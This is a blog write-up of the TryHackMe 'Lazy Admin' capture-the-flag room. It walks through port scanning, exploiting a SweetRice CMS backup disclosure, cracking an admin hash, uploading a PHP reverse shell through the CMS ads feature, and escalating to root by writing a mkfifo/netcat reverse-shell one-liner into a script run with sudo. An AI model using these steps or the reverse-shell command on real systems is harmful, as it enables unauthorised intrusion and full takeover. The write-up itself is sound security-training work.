TryHackMeWriteup: Lazy Admin

Writeup for Lazy Admin room.
Goal: Capture user and root flag.

Room Link: https://tryhackme.com/room/lazyadmin

A lazy room for a lazy day. Sike, I have a feeling this room is going to be anything but lazy. However, I am very excited to delve into it and share my process of getting the user flags.

Firstly of all, I booted up my machine, connected to the vpn and ran an nmap scan.

I used the command:

nmap -p- <MACHINE-IP> -T4

And got the following output:

The same result could have been achieved without scanning all the ports but best practice is to scan all ports because sometimes non-standard ports are open, hiding vulnerable services.

Once I knew the ports which were open, I needed to get information on the services and versions behind these ports as well as run basic scripts as these usually reveal entry points into the system.

For this, I used my favorite method. Rust scan piped through nmap with the command.

rustscan -a <MACHINE-IP> p 22,80 -u 5000 -- -A -sC 

I was thus able to determine that the target was running an apache web server on port 80 and ssh on port 22.

So, I visted the website to see if I could find anything interesting which would help me gain access to the the target.

Alas, all I could find was a Apache2 Ubuntu default page. My next thought was that I had to find directories on this website. Surely, the admin had set something up. So, I turned to our trusty friend Gobuster.

Command Used:

gobuster dir -u http://MACHINE-IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 10

Output:

While the scan was running, a directory was found. I kept the scan running but decided to check out the content of the page I found, hoping it would be useful.

I was thus able to confirm that the website was using the SweetRice CMS. I followed the link to the Tip for Basic CMS SweetRice installed.

But unfortunately it led nowhere. So, I decided to do more research about this content management system to see if there were any known vulnerabilities.

I was able to find out that it was an open-source Content Management System used by small businesses, blogs etc. Next, I searched for it on searchsploit, the command-line version of Exploit-DB and was able to find quite a few exploits for the cms.

Considering the amount of information I had, I figured the backup disclosure exploit would be most useful for me. Sometimes backups hide secrets like credentials, files etc.

So, I downloaded the exploit which was a text file.

Firstly, I tried to see if I could find some mysql backups.

Unfortunately, nothing. However, I was not giving up so I experimented with the file path for a while till I got it.

I downloaded the mysql backup and skimmed it’s content. It appeared to be a plaintext database configuration containing a lot of juicy information. Such as the admins username and password.

I managed to get a username which appeared to be admin and a password hash. Counting on the fact that the admin might have set it as a weak password. I decided to try and crack it with crackstation.

And voila! There was a match. I decided to use that match to attempt to log in via ssh, assuming that the admin set the same password.

Unfortunately I was not granted entry. I considered pivoting back to the website, hoping to find something that would allow me to get access to a login page or an admin panel.

So I used used the url that allowed me to find the mysql back ealier.

And would you look at that, I found all the files on the server. Now, I just had to look through them and hope one of them hid a panel or had a way for me to gain access to the server.

I started with the text files, with the plan to move up to the php files. The file latest.txt contained something perculiour.

The formatting made me think it was the version number of the cms. So, I searched for vulnerabilities for that specific version. In my initial research about the CMS, there was mention of a version with several vulnerabilities, could this have been the one?

Without even going into a single page, an idea started to form. I could now deduce 2 things about this CMS.

1. It allows for arbitrary file uploads, which means that it allows users to upload files to server without validating if the file type is allowed.
2. That vulnerability can allow an attacker to gain RCE on the website, which uses php, something we know thanks to the information gathered earlier.
3. I have a username and password, which makes my job easier

I did some more research and discovered yet another endpoint, /content/as which is the admin page and attempted to log in.

Unfortunately the credentials were wrong. Earlier on, I was uncertain whether the correct username was admin or manager, which would explain why the credentials were wrong. Luckily, all I had to do was adjust the username parameter and I was in.

And I am in!

Since I knew that the site was vulnerable to arbitrary file upload and RCE my next step was to find a place to upload a shell/code. While searching, I noticed that the ads directory allows one to upload code.

Get Melisa Nyamukondiwa’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

For my shell, I chose Pentest Monkey and copied it from revshells.com

Then I pasted it into the Ads code text box:

Once I successfully added the shell, I checked to see if it was there.

Afterward, I started a listener for the shell to connect back to once it was uploaded using

nc -lvnp 4443

I then visited the full path to the file and waited…

And just like that I got a reverse shell, now I had to find the flag.

And there I found the flag located in a user’s home directory. However, it was too soon to celebrate because next I had to escalate my privileges and become root in order to capture the root flag.

Firstly, I tried to find the location of the root flag using

find / -name root.txt

Unfortunately I found nothing. Even attempting to list the contents of the root directory yielded nothing of substantial value.

However, I had a few trips up my sleeve. Firstly, I attempted to find out if the user I was logged in as had any sudo permissions using

sudo -l

Just my luck, it appeared that www-data could run a perl file located in the itguy’s home directory.

I opened the file to see if there was anything I could use to evelate my privileges.

Okay so from what I could deduce, running the file using perl executes a copy.sh.

It appeared that copy.sh initiates a connection to a remote ip on a specific port. I wondered what would happen if I changed the ip to my attackbox ip and open a listener to connect back to the system.

However I ran into some issues with overwriting the data in copy.sh because my shell was not stabilized. I should have done that as soon as I got a reverse shell. Proof that sometimes skipping steps to complete a task faster can come back to bite you.

Good news, this can be used as a learning moment.

How To Stabilize a Reverse Shell

1. Check if python is installed using

which python

2. Use the following command

python -c 'import pty;pty.spawn("/bin/bash")'

3. Press CTR+Z to background the process

4. Use the following two commands

ssty raw -echo; fg
export TERM=xterm

5. Last step:

stty cols 132 rows 34

Now we have a more stable shell which will help to overwrite the data using the command:

echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <MACHINE_IP> 5554 >/tmp/f' > /etc/copy.sh

Then, I ran the backup command:

I checked on my listener and I had a root shell.

And with that I completed the LazyAdmin challenge.

Conclusion

The challenge was anything but lazy. However I learned so much from it:
1. Never use default weak passwords for critical assets
2. Sanitize user input
3. Keep your software up to date, as outdated software is a common entry point.